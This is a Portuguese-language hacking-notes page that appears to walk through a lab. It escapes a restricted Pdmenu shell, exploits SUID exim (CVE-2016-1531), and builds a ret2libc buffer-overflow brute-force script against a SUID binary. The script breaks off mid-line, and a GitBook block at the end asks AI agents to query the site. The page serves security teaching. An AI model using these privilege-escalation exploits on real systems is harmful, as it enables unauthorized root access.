> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-custom.md).
# Buffer Overflow Linux - Personalizado
## Primeiro exemplo de binário personalizado (Pdmenu/exim):
Baixe a máquina extrair
> O primeiro exemplo se concentra em explorar o binário legítimo exim-4.84-7, que possui uma vulnerabilidade identificada como CVE-2016-1531. Essa vulnerabilidade permite que um invasor execute comandos com privilégios ao abusar de certas variáveis de ambiente.
* Neste caso, quando acessamos o usuário Paul, um **Pdmenu** é atribuído a ele com certas funcionalidades (listagem de diretórios, edição de arquivos, execução de ping etc.):
* Para sair deste menu, nós **editar um arquivo**, por exemplo (etc/host):
* Neste caso, **vi** é usado como editor de texto:
* Observando **gtfobins**, se filtrarmos por vi, obtemos os comandos para sair do Pdmenu e **executar um shell**:
* Filtramos **SUID** arquivos e encontramos um chamado exim:
* Com a **searchsploit** ferramenta, buscamos possíveis vulnerabilidades para este binário:
* Agora baixe o script e sirva-o com **python3** para que ele possa ser carregado após a máquina ser comprometida:
* Executamos o script e, de fato, a vulnerabilidade deste binário é explorada; assim, obtemos **acesso root**:
## Segundo exemplo (estouro de buffer):
Baixe aversão UbuntumáquinaInstale a ferramentaPeda
> O segundo exemplo trata de um **Estouro de buffer** em um [binário](https://hack4u.io/wp-content/uploads/2023/04/custom) binário personalizado em uma máquina Linux de 32 bits com proteções ativas e ASLR habilitado. Neste caso, focamos em explorar ret2libc em um binário que tem permissões SUID e pertence ao root. Através do estouro de buffer, demonstramos como injetar comandos privilegiados e elevar os privilégios do usuário.
\***Estouro de buffer** envolve sobrescrever certos registradores do sistema, e como o binário é criado pelo usuário e pertence ao grupo root, **ele será executado como um usuário privilegiado**:
* O binário chamado "custom" espera uma **entrada de string** e, quando ele é executado, nada acontece:
* Mas se inserirmos uma **string muito longa**, ele retorna um erro (core dumped):
Enviamos uma **string curta** de AAAAAAAA e nenhum **erro aparece**:
* Para analisar o binário em profundidade, usaremos o **gdb-peda** .
* Mas se enviarmos **muitos caracteres**, obtemos o seguinte erro:
1. A primeira coisa a fazer é **determinar o número total de strings** necessárias para sobrescrever o registrador (EIP).
* O primeiro método consiste em usar um **motivo (padrão)** que cria uma cadeia **projetada espacialmente** (neste caso, 300 caracteres) que nossas execuções no binário:
* Na resposta de **EIP**, sabemos que a **cadeia visível inferior** é "AA8A":
* O **automático** modo automático da ferramenta é com o `offset do padrão $eip` comando:
* Para verificar isso, usamos **python3** enviando 112 caracteres A mais então os 4 B finais:
```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```
* De fato, agora confirmamos o final graças a **EIP** que detecta os 4 B finais:
2. Uma vez que sabemos o número máximo de strings, nós **verificamos o ASLR** o que determinará se há **aleatoriedade nos endereços de memória** ou não:
/- Com o seguinte comando, filtramos as strings nas quais estamos interessados especificamente para executar o binário 10 vezes, para ver se ele muda a cada vez e para ver se a **biblioteca C** é aleatória ou não:
De fato, é "aleatório"
3. O problema com esses **binários de 32 bits** costuma ser que, se executarmos, por exemplo, agora **1000 vezes** A e filtrarmos por uma string fixa, vemos que cada vez, **ela se repetirá pelo menos uma vez**:
4. O objetivo agora é primeiro encontrar **EIP** strings (**system + exit + bin/\_sh**), que sempre serão fixas e necessárias para executar uma **Bash como root** como no exemplo a seguir, mas em Python:
* Criamos um **ponto de interrupção** para que o fluxo do programa pare no ponto desejado:
* Injetamos o **EIP** de (system/exit/bin/\_sh):
5. Uma vez que vemos que há **aleatoriedade**, precisaremos usar **força bruta** até que o **endereço base da libc** seja igual ao valor desejado:
/- Com o seguinte veremos as **bibliotecas que estão em execução** (neste caso **libc.so**):
* Com **readelf**, nossos filtros para a biblioteca e pesquisamos as variáveis injetadas à frente, que são (**exit e system**) com os códigos:
* E para encontrar a string **/bin/sh**, fazemos o seguinte, adicionando um **0x00** no início:
O seguinte script Python3 irá **automatizar toda a força bruta** até **endereço base da libc** seja o mesmo:
```python
#!/usr/bin/python3
import subprocess
from struct import pack
import sys
offset = 112
before_eip = b"A" * 112
# Estouro de buffer Linux personalizado
base_libc_addr = 0xb7595000
system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b
system_addr = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.